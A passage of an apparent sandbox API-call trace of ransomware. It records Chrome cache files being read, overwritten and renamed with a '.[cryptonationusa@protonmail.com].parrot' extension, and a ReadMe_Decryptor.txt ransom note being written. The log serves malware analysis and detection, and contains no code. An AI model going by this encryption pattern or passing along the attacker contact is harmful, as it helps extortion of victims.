[0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d4d18 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d5360 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5360 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0041.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0041.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0041.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0041.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x669238 [0041.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0041.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x66c1d0 [0041.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0041.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x670920 [0041.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66c1d0 | out: hHeap=0x5b0000) returned 1 [0041.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x677400 [0041.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x670920 | out: hHeap=0x5b0000) returned 1 [0041.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x681430 [0041.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x677400 | out: hHeap=0x5b0000) returned 1 [0041.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x669238 [0041.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681430 | out: hHeap=0x5b0000) returned 1 [0041.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x67fa70 [0041.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0041.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x2240060 [0041.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67fa70 | out: hHeap=0x5b0000) returned 1 [0041.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2272aa8 [0041.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0041.214] WriteFile (in: hFile=0x278, lpBuffer=0x2272ac0*, nNumberOfBytesToWrite=0x42128, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2272ac0*, lpNumberOfBytesWritten=0x18e604*=0x42128, lpOverlapped=0x0) returned 1 [0041.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272aa8 | out: hHeap=0x5b0000) returned 1 [0041.218] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0041.218] CloseHandle (hObject=0x278) returned 1 [0041.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d33c8 [0041.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d3658 [0041.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0041.220] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0041.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0041.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d34d0 | out: hHeap=0x5b0000) returned 1 [0041.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0041.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0041.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0041.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0041.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0041.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0041.224] GetFileType (hFile=0x278) returned 0x1 [0041.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0041.446] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2118, nNumberOfBytesToLockHigh=0x0) returned 1 [0041.446] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0041.446] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0041.448] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.448] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x2000, lpOverlapped=0x0) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0041.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0041.449] GetLastError () returned 0x0 [0041.449] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0041.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0041.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0041.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3658 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d3738 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cabe0 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3738 | out: hHeap=0x5b0000) returned 1 [0041.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d3658 [0041.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x2240060 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x2240060 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0041.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x66d278 [0041.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0041.451] WriteFile (in: hFile=0x278, lpBuffer=0x66d280*, nNumberOfBytesToWrite=0x2128, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x66d280*, lpNumberOfBytesWritten=0x18e604*=0x2128, lpOverlapped=0x0) returned 1 [0041.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66d278 | out: hHeap=0x5b0000) returned 1 [0041.452] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0041.452] CloseHandle (hObject=0x278) returned 1 [0041.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d33c8 [0041.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d3658 [0041.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0041.453] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0041.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0041.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d34d0 | out: hHeap=0x5b0000) returned 1 [0041.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0041.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0041.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0041.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0041.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0041.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0041.454] GetFileType (hFile=0x278) returned 0x1 [0041.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0041.465] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x402118, nNumberOfBytesToLockHigh=0x0) returned 1 [0041.465] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0041.466] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0041.466] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.467] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0041.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0041.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0041.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0041.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0041.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0041.832] GetLastError () returned 0x0 [0042.053] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0042.053] WriteFile (in: hFile=0x278, lpBuffer=0x5d34d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5d34d0*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0045.515] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.515] WriteFile (in: hFile=0x278, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0045.525] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x402118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0045.525] CloseHandle (hObject=0x278) returned 1 [0046.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d33c8 [0046.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d3658 [0046.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0046.701] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0046.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0046.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d34d0 | out: hHeap=0x5b0000) returned 1 [0046.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0046.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0046.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0046.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0046.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0046.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0046.782] GetFileType (hFile=0x278) returned 0x1 [0046.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0047.046] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80288, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.046] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.046] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0047.047] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.050] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x80170, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x80170, lpOverlapped=0x0) returned 1 [0047.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0047.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0047.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0047.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0047.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0047.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0047.442] GetLastError () returned 0x0 [0047.504] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0047.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0047.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0047.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0047.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0047.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0047.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3658 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d3738 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cabe0 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3738 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d3658 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0047.505] HeapFree (in: hHeap=0x5b0000, 